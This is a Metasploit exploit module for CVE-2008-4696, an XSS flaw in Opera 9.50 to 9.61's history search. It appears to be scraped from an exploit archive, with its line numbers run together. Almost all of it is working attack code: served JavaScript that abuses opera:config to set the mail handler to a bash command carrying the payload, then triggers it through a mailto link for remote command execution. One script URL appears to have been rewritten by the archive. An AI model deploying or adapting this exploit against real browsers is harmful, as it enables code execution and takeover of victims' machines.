1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 |
## # $Id: opera_historysearch.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::OPERA, :javascript => true, :rank => ExcellentRanking, # reliable command execution :vuln_test=> %Q{ v = parseFloat(opera.version()); if (9.5 < v && 9.62 > v) { is_vuln = true; } }, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Opera historysearch XSS', 'Description'=> %q{ Certain constructs are not escaped correctly by Opera's History Search results.These can be used to inject scripts into the page, which can then be used to modify configuration settings and execute arbitrary commands.Affects Opera versions between 9.50 and 9.61. }, 'License'=> BSD_LICENSE, 'Author' => [ 'Roberto Suggi', # Discovered the vulnerability 'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec 'egypt',# msf module ], 'Version'=> '$Revision: 10998 $', 'References' => [ ['CVE','2008-4696'], ['OSVDB','49472'], ['BID','31869'], ['URL','http://www.opera.com/support/kb/view/903/'], ], 'Payload'=> { 'ExitFunc' => 'process', 'Space'=> 4000, 'DisableNops' => true, 'BadChars' => "\x09\x0a\x0d\x20", 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby telnet', } }, 'Targets'=> [ #[ 'Automatic', {} ], #[ 'Opera < 9.61 Windows', # { # 'Platform' => 'win', # 'Arch' => ARCH_X86, # } #], [ 'Opera < 9.61 Unix Cmd', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, } ], ], 'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec 'DefaultTarget'=> 0 )) end def on_request_uri(cli, request) headers = {} html_hdr = %Q^ <html> <head> <title>Loading</title> ^ html_ftr = %Q^ </head> <body > <h1>Loading</h1> </body></html> ^ case request.uri when /[?]jspayload/ p = regenerate_payload(cli) if (p.nil?) send_not_found(cli) return end # We're going to run this through unescape(), so make sure # everything is encoded penc = Rex::Text.to_hex(p.encoded, "%") content = %Q{ var s = document.createElement("iframe"); s.src="opera:config"; s.id="config_window"; document.body.appendChild(s); config_window.eval( "var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" + "old_app = opera.getPreference('Mail','External Application');" + "old_handler = opera.getPreference('Mail','Handler');" + "opera.setPreference('Mail','External Application',cmd);" + "opera.setPreference('Mail','Handler','2');" + "app_link = document.createElement('a');" + "app_link.setAttribute('href', 'mailto:a@b.com');" + "app_link.click();" + "setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" + "setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" + ""); setTimeout(function () {window.location='about:blank'},1); } when /[?]history/ js = %Q^ window.onload = function() { location.href = "opera:historysearch?q=*"; } ^ content = %Q^ #{html_hdr} <script><!-- #{js} //--></script> #{html_ftr} ^ when get_resource() print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}") js = %Q^ if (window.opera) { var wnd = window; while (wnd.parent != wnd) { wnd = wnd.parent; } url = location.href; wnd.location = url + "?history#<script src='https://www.exploit-db.com/exploits/16304/" + url +"?" + "jspayload=1'/><!--"; } ^ content = %Q^ #{html_hdr} <script><!-- #{js} //--></script> #{html_ftr} ^ else print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}") send_not_found(cli) return end content.gsub!(/^\t{4}/, '') content.gsub!(/\t/, ' ') send_response_html(cli, content, headers) handler(cli) end end |